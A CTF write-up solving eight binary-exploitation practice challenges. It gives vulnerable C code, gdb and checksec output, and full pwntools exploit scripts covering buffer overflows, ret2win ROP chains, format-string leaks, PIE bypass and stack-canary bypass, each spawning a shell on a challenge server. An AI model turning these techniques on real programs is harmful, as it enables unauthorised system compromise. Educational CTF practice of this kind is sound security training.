Pretty fun CTF organized by the BlueHens CTF team from the University of Delaware. This one featured a bunch of Minecraft challenges but also the typical PWN, Crypto, Reversing and Web categories.
These are my solutions for the entire Intro to PWN series which had 8 fun binaries to pwn.
Intro to PWN 1 - PWN - 50 points
This challenge comes with 2 files, the source code in main.c
and the binary itself. The challenge reads:
#1. Smash a variable
The code from main.c
reads:
#include <stdio.h>
#include <stdlib.h>
int main(){
char buf[0x100];
int overwrite_me;
overwrite_me = 1234;
puts("Welcome to PWN 101, smash my variable please.\n");
gets(buf);
if (overwrite_me == 0x1337){
system("/bin/sh");
}
return 0;
}
The challenge seems straightforward, write past the 0x100
byte bounds of buf
and store 0x1337
in overwrite_me. I use a standard boiler plate for exploiting all of these using pwntools
so excuse the excess stuff to get the simple things done.
Solution for part 1:
from pwn import *
fname = "./pwnme"
local = False
if local:
p = process(fname)
else:
p = remote("0.cloud.chals.io", 19595)
payload = (b"A" * 0x100) + (p32(0x1337) * 4)
p.sendline(payload)
p.interactive()
Intro to PWN 2 - PWN - 50 points
The second challenge comes again with souce in main.c
and a binary called pwnme
. The challenge reads:
#2. Control the Instruction Pointer
This time the binary is 32bit:
$ file pwnme
pwnme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=
ec230d565ec0c9bb3ed87968b73ab498a7a8e0cf, for GNU/Linux 3.2.0, not stripped
The main.c
source reads:
#include <stdlib.h>
#include <stdio.h>
void win(){
system("/bin/sh");
}
void vuln(){
char buf[55];
gets(buf);
}
int main(){
puts("Level 2: Control the IP\n");
vuln();
return 0;
}
So this reads to me like a ret2win
challenge. In this case the win
function is literally called win()
. I start by finding what offset I begin to control the instruction pointer:
$ gdb ./pwnme
gdb-peda$ pattern_create 96
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA'
gdb-peda$ r
Stopped reason: SIGSEGV
0x41334141 in ?? ()
gdb-peda$ pattern_offset 0x41334141
1093878081 found at offset: 67
I also note PIE is disabled:
$ checksec pwnme
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
So now I can build a simple ret2win
exploit:
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 22209
offset = 67
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p32(binary.sym['win']))
p.sendline(rop.chain())
p.interactive()
Intro to PWN 3 - PWN - 50 points
Another 32 bit binary with source, the challenge reads:
#3. 32-bit Calling Convention
And main.c
reads:
#include <stdlib.h>
#include <stdio.h>
void win(unsigned int x){
if (x != 0xdeadbeef){
puts("Almost...");
return;
}
system("/bin/sh");
}
void vuln(){
char buf[24];
gets(buf);
}
int main(){
puts("Level 3: Args too?\n");
vuln();
return 0;
}
Again, 32 bit, no PIE:
$ checksec pwnme
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Using GDB i find at what offset the crash happens, this time its at offset 36:
Level 3: Args too?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36
So I can craft another ret2win
exploit, this time I need to provide an argument to the function, which in 32 bit x86 is provided via the stack. So this is straightforward:
from pwn import *
local = True
binary_name = './pwnme'
win_func = 'win'
binary = context.binary = ELF(binary_name)
if local:
p = process(binary_name)
else:
p = remote('0.cloud.chals.io',28949)
offset = 36
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p32(binary.sym[win_func]))
rop.raw(p32(0xdeadbeef)*2)
p.sendline(rop.chain())
p.interactive()
Intro to PWN 4 - PWN - 111 points
At this stage, source code is no longer provided, we just get a binary for each challenge. The challenge reads:
#4. 64-bit Calling Convention
So we sort of know where they’re going with this. Again, we need the crash offset. Again PIE is disabled:
$ checksec pwnme
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
GDB to get the crash offset (slightly diff in 64 bit):
$ gdb ./pwnme
gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
Level 3: Args too?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Stopped reason: SIGSEGV
0x00000000004011c9 in vuln ()
gdb-peda$ bt
#0 0x00000000004011c9 in vuln ()
#1 0x4141464141304141 in ?? ()
#2 0x4147414131414162 in ?? ()
#3 0x4841413241416341 in ?? ()
#4 0x0000000000000000 in ?? ()
gdb-peda$ pattern_offset 0x4141464141304141
4702116732032008513 found at offset: 40
An offset of 40 should do the trick, we write a basic 64 bit ret2win
exploit. This time we need a pop rdi
ROP gadget to place our argument from the stack into the RDI
register. The exploit looks like this:
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 10711
offset = 40
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(binary.sym['win']))
p.sendline(rop.chain())
p.interactive()
Intro to PWN 5 - PWN - 111 points
This challenge reads:
#5. Handling PIE via Leak
Ok so we’re expecting PIE, lets check what else?
$ checksec pwnme
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
64 bit with PIE enabled. Cool. Let’s see how the leak works?
$ ./pwnme
How about reading a leak? 0x555cd142722e
Ok what is that address? In another terminal, while pwnme
is still sitting around waiting for input, I check w/gdb:
$ gdb -p `pidof pwnme`
gdb-peda$ x/1x 0x556b0e55722e
0x556b0e55722e <win>: 0xe5894855fa1e0ff3
gdb-peda$ disass win
Dump of assembler code for function win:
0x0000556b0e55722e <+0>: endbr64
0x0000556b0e557232 <+4>: push rbp
0x0000556b0e557233 <+5>: mov rbp,rsp
0x0000556b0e557236 <+8>: sub rsp,0x10
0x0000556b0e55723a <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000556b0e55723d <+15>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x0000556b0e557244 <+22>: je 0x556b0e557254 <win+38>
0x0000556b0e557246 <+24>: lea rdi,[rip+0xdb7] # 0x556b0e558004
0x0000556b0e55724d <+31>: call 0x556b0e557090 <puts@plt>
0x0000556b0e557252 <+36>: jmp 0x556b0e557260 <win+50>
0x0000556b0e557254 <+38>: lea rdi,[rip+0xdb3] # 0x556b0e55800e
0x0000556b0e55725b <+45>: call 0x556b0e5570a0 <system@plt>
0x0000556b0e557260 <+50>: leave
0x0000556b0e557261 <+51>: ret
End of assembler dump.
Ok it literally leaks the address of win()
. Exploitation is trivial, again we find the crash offset:
$ gdb ./pwnme
gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
How about reading a leak? 0x55555555522e
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Stopped reason: SIGSEGV
0x0000555555555281 in vuln ()
gdb-peda$ bt
#0 0x0000555555555281 in vuln ()
#1 0x4141464141304141 in ?? ()
gdb-peda$ pattern_offset 0x4141464141304141
4702116732032008513 found at offset: 40
Again at offset 40
. Exploit follows:
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 22287
offset = 40
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
leak = int(p.recvline().decode().split("? ")[1],16)
base = leak - (binary.sym['win'] - binary.address)
log.info(f"leaked addr: {hex(leak)}")
log.info(f"base addr: {hex(base)}")
binary.address = base
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(leak))
p.sendline(rop.chain())
p.interactive()
Intro to PWN 6 - PWN - 280 points
The challenge reads:
#6. Using printf to create a leak
This time, were not given a leak outright, but we are given a format string vulnerability to create a leak:
$ ./pwnme
How about creating a leak? %2$016lx
0000000000000001
Cool, we need to know which stack argument is a leak that will help us defeat PIE because, again it is enabled:
$ checksec pwnme
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
To find a useful stack argument I wrote this dirty script:
from pwn import *
file = "./pwnme"
for i in range(1,10):
payload = f"%{i}$016lx".encode()
p = process(file)
p.sendlineafter(b'?', payload)
res = p.recv(16).decode()
print(f"Result for {i}: {res}")
p.close()
Running it I get:
$ PWNLIB_SILENT=1 ./findfmt.py
Result for 1: 0000000000000001
Result for 2: 0000000000000001
Result for 3: 00007f36267f2a80
Result for 4: 0000000000000000
Result for 5: 0000000000000000
Result for 6: 786c363130243625
Result for 7: 0000000000000000
Result for 8: 0000000000000000
Result for 9: 00005648eb2a822e
The 9th argument on the stack looks like an address of our PIE binary, lets look in more detail in GDB. In one terminal I run:
$ ./pwnme
How about creating a leak?%9$016lx
000055a6adec722e
In another terminal, GDB:
$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x00055a6adec722e
Dump of assembler code for function win:
0x000055a6adec722e <+0>: endbr64
0x000055a6adec7232 <+4>: push rbp
0x000055a6adec7233 <+5>: mov rbp,rsp
0x000055a6adec7236 <+8>: sub rsp,0x10
0x000055a6adec723a <+12>: mov DWORD PTR [rbp-0x4],edi
0x000055a6adec723d <+15>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x000055a6adec7244 <+22>: je 0x55a6adec7254 <win+38>
0x000055a6adec7246 <+24>: lea rdi,[rip+0xdb7] # 0x55a6adec8004
0x000055a6adec724d <+31>: call 0x55a6adec7090 <puts@plt>
0x000055a6adec7252 <+36>: jmp 0x55a6adec7260 <win+50>
0x000055a6adec7254 <+38>: lea rdi,[rip+0xdb3] # 0x55a6adec800e
0x000055a6adec725b <+45>: call 0x55a6adec70a0 <system@plt>
0x000055a6adec7260 <+50>: leave
0x000055a6adec7261 <+51>: ret
Ok great, so the 9th argument on the stack is the address of win()
. I repeat the other steps I’ve already done above, to find the offset of the crash. The result is the same 40
bytes. Exploitation is simple and basically a copy of the previous one:
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 20646
offset = 40
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
p.sendlineafter(b'?', b"%9$016lx")
leak = int(p.recv(16).decode(),16)
base = leak - (binary.sym['win'] - binary.address)
log.info(f"leaked addr: {hex(leak)}")
log.info(f"base addr: {hex(base)}")
# set base address
binary.address = base
rop = ROP(binary)
rop.raw(b"A" * offset)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(leak))
p.sendline(rop.chain())
p.interactive()
Intro to PWN 7 - PWN - 349 points
The challenge reads:
#7. Defeat PIE and a Canary, Full Green
This time we’re expecting a stack canary, and PIE. Let’s double check:
$ checksec pwnme
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Correct. Everything is green. To get the canary and PIE location in memory we need a leak, do we have one?
$ ./pwnme
How about creating a leak AND smashing a canary?%2$016lx
0000000000000001
Looks like the same leak as last challenge. Ok, lets find the canary AND binary location in memory. I re-use the findfmt.py
from before:
$ PWNLIB_SILENT=1 ./findfmt.py
Result for 1: 0000000000000001
Result for 2: 0000000000000001
Result for 3: 00007f7310df2a80
Result for 4: 0000000000000000
Result for 5: 0000000000000000
Result for 6: 786c363130243625
Result for 7: 00007f500e876800
Result for 8: 0000000000000000
Result for 9: 00007fff82e534a0
Result for 10: 00007ffd199e4c58
Result for 11: 000055b96b5a62f8
Result for 12: 0000000000000000
Result for 13: f0ba1688f7960700
Result for 14: 00007ffce7ba3400
Result for 15: 00005623b3579314
Result for 16: 0000000000000001
Result for 17: 00007f11cd42920a
Result for 18: 0000000000000000
Result for 19: 000055dce7fdc2f8
What we know about stack canaries is they always end with 00
. In this result stack argument 13 stands out f0ba1688f7960700
because its a bunch of randomness ending in a single null byte.
Other than that, on my local system I see argument 11 looks like our binary’s location in memory. Let’s check these in gdb. In one terminal we get some valid values:
$ ./pwnme
How about creating a leak AND smashing a canary? %11$016lx %13$016lx
000055dbd49d72f8 f0e6f72069309000
In another, I look first for the 000055dbd49d72f8
value. What does it point to?
$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x00055dbd49d72f8
Dump of assembler code for function main:
0x000055dbd49d72f8 <+0>: endbr64
0x000055dbd49d72fc <+4>: push rbp
0x000055dbd49d72fd <+5>: mov rbp,rsp
0x000055dbd49d7300 <+8>: mov eax,0x0
0x000055dbd49d7305 <+13>: call 0x55dbd49d71e9 <init>
0x000055dbd49d730a <+18>: mov eax,0x0
0x000055dbd49d730f <+23>: call 0x55dbd49d7282 <vuln>
0x000055dbd49d7314 <+28>: mov eax,0x0
0x000055dbd49d7319 <+33>: pop rbp
0x000055dbd49d731a <+34>: ret
ok the address of main()
i can work with that!
If we look at vuln()
we can find the instructions where the stack canary is checked:
gdb-peda$ disass vuln
Dump of assembler code for function vuln:
...
0x000055dbd49d72e2 <+96>: mov rax,QWORD PTR [rbp-0x8]
0x000055dbd49d72e6 <+100>: xor rax,QWORD PTR fs:0x28
0x000055dbd49d72ef <+109>: je 0x55dbd49d72f6 <vuln+116>
0x000055dbd49d72f1 <+111>: call 0x55dbd49d70b0 <__stack_chk_fail@plt>
...
So at vuln() + 96
we mov
whatever value we have on the stack where our canary should be into RAX
, then we xor
RAX
with the real canary. If the canary is right RAX
should be set to 0
and we pass the canary check.
To exploit this we need to know 2 offsets:
- Where is the canary on the stack, how many bytes before we overwrite it?
- Where is the return pointer on the stack, how many bytes until we overwrite that?
To get the canary location we can use gdb to set a breakpoint at vuln() + 96
and see what part of a cyclic pattern is mov
‘d into RAX:
$ gdb ./pwnme
gdb-peda$ br *vuln + 96
Breakpoint 1 at 0x5555555552e2
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: pwnme
How about creating a leak AND smashing a canary? %11$016lx %13$016lx
00005555555552f8 0caf6df18bc7a600 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
...
Breakpoint 1, 0x00005555555552e2 in vuln ()
gdb-peda$ s
gdb-peda$ print $rax
$1 = 0x413b414144414128
gdb-peda$ pattern_offset 0x413b414144414128
4700422384665051432 found at offset: 24
Perfect. So we know the canary needs to start at offset 24 into our payload AND that we attempted to send 0x413b414144414128
this time around. What happens after the next xor
instruction?
gdb-peda$ s
gdb-peda$ print $rax
$3 = 0x4d942cb0cf86e728
If we calculate 0x0caf6df18bc7a600 ^ 0x413b414144414128
we get 0x4d942cb0cf86e728
so this also is useful to confirm we DO have the right stack argument for the canary.
We can now use a quick script to confirm the crash location:
from pwn import *
local = True
canary_offset = 24
fname = "./pwnme"
binary = context.binary = ELF(fname)
p = process(fname)
# Leak canary
p.sendlineafter(b'?', f"%{13}$016lx".encode())
leak = p.recv(16).decode()
canary = int(leak[:16],16)
input("attach gdb...")
# Send cyclic pattern after canary. Observe crash in GDB.
rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p64(canary))
rop.raw(b"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
p.sendline(rop.chain())
p.interactive()
I run that script in one terminal and attach GDB in another:
$ ./findcrash.py
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnme': pid 195867
attach gdb...
In the other terminal:
$ gdb -p 195867
gdb-peda$ c
Continuing.
...
Stopped reason: SIGSEGV
0x00005648774bb2f7 in vuln ()
gdb-peda$ bt
#0 0x00005648774bb2f7 in vuln ()
#1 0x6e41412441414241 in ?? ()
#2 0x41412d4141434141 in ?? ()
...
gdb-peda$ pattern_offset 0x6e41412441414241
7944702841627689537 found at offset: 8
Perfect, so now we know how large our payload total needs to be:
- 24 bytes + Canary (8bytes) + 8 more bytes = 40 bytes
We can now write our exploit!
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 12229
canary_arg = 13
canary_offset = 24
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
# Required different stack arguments on the remote server!
base_arg = 0
if local:
base_arg = 11
else:
base_arg = 10
p.sendlineafter(b'?', f"%{canary_arg}$016lx%{base_arg}$016lx".encode())
leak = p.recv(32).decode()
canary = int(leak[:16],16)
base = int(leak[16:],16) - (binary.sym['main'] - binary.address)
log.info(f"leak: {leak}")
log.info(f"canary: {hex(canary)}")
log.info(f"base addr: {hex(base)}")
# set base address
binary.address = base
win = binary.sym['win']
rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p64(canary))
rop.raw(b"B" * 8)
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xdeadbeef))
rop.raw(p64(win))
p.sendline(rop.chain())
p.interactive()
Intro to PWN 8 - PWN - 413 points
This brings us to the last and supposed to be hardest challenge. I found it a bit tricky but ended up with an unintended solution. The challenge reads:
#8. Full Green AND multiple function 32-bit chaining
When running the binary it resembles 6 and 7 except now in 32 bit:
$ ./pwnme
How about creating a leak AND smashing a canary AND chaining several functions? %5$08x
00000000
Using the following script I enumerated the stack arguments:
from pwn import *
file = "./pwnme"
for i in range(1,20):
payload = f"%{i}$08x".encode()
p = process(file)
p.sendlineafter(b'?', payload)
res = p.recv(8).decode()
print(f"Result for {i}: {res}")
p.close()
When I ran it I identified a likely canary and PIE address:
$ PWNLIB_SILENT=1 ./findfmt32bit.py
Result for 1: 00000000
Result for 2: 00000000
Result for 3: 565743b5
Result for 4: 00000000
Result for 5: 00000000
Result for 6: f7faa1c0
Result for 7: 30243725
Result for 8: 00786c38
Result for 9: 00000000
Result for 10: f7c183e9
Result for 11: 56604fb8
Result for 12: ffe79bc4
Result for 13: f7f46b80
Result for 14: ff9d7de8
Result for 15: 5658e2c5
Result for 16: f7e1fce0
Result for 17: 00000000
Result for 18: 00000002
Result for 19: d439f400
Again, 32bit stack canaries always end in 00
so the 19th stack argument is the canary. The 3rd stack argument looks like a valid address, lets use GDB to see where it leads:
$ ./pwnme
How about creating a leak AND smashing a canary AND chaining several functions? %3$08x
565d83b5
In the other terminal I use gdb:
$ gdb -p `pidof pwnme`
gdb-peda$ disass 0x565d83b5
Dump of assembler code for function vuln:
0x565d83a5 <+0>: endbr32
0x565d83a9 <+4>: push ebp
0x565d83aa <+5>: mov ebp,esp
0x565d83ac <+7>: push ebx
0x565d83ad <+8>: sub esp,0x44
...
Ok so we can leak the address of vuln()+0x10
. Cool. We can use this.
I found everything else to be the same:
- The offset of the canary in our payload was the same as challenge 7 (24)
- The total payload size is the same as challenge 7 (40)
The rest of the challenge seemed to want us to:
- Create a ROP chain that traversed multiple functions within the binary. These functions were
func1()
,func2()
andfunc3()
. - Provide each function with an argument that validated.
- Finally jump to
win()
which would validate all the prerequisites.
I found that by just chaining func1()
and win()
half way into the win() function, we could bypass the validator. This produced the following exploit:
from pwn import *
local = False
fname = "./pwnme"
hostname = '0.cloud.chals.io'
port = 17140
canary_offset = 24
offset = 40
binary = context.binary = ELF(fname)
if local:
p = process(fname)
else:
p = remote(hostname, port)
# Which argument on the stack we need to leak for the canary and base addr.
canary_arg = 19
base_arg = 3
# might be different on remote system
if not local:
base_arg = 3
p.sendlineafter(b'?', f"%{canary_arg}$08lx%{base_arg}$08lx".encode())
leak = p.recv(16).decode()
canary = int(leak[:8],16)
base = int(leak[8:],16) - 0x10 - (binary.sym['vuln'] - binary.address)
log.info(f"leak: {leak}")
log.info(f"canary: {hex(canary)}")
log.info(f"base addr: {hex(base)}")
# set base address
binary.address = base
win = binary.sym['win']
func1 = binary.sym['func1']
rop = ROP(binary)
rop.raw(b"A" * canary_offset)
rop.raw(p32(canary))
rop.raw(b"A" * (offset-canary_offset-4))
rop.raw(p32(func1))
rop.raw(p32(win+73)) # jump into win past the checks, dont care if they work.
rop.raw(p32(0xdeadbeef) * 4)
p.sendline(rop.chain())
p.interactive()
Which worked and wrapped up the final Intro to PWN challenge.
A lot of fun and revision for me. Thanks!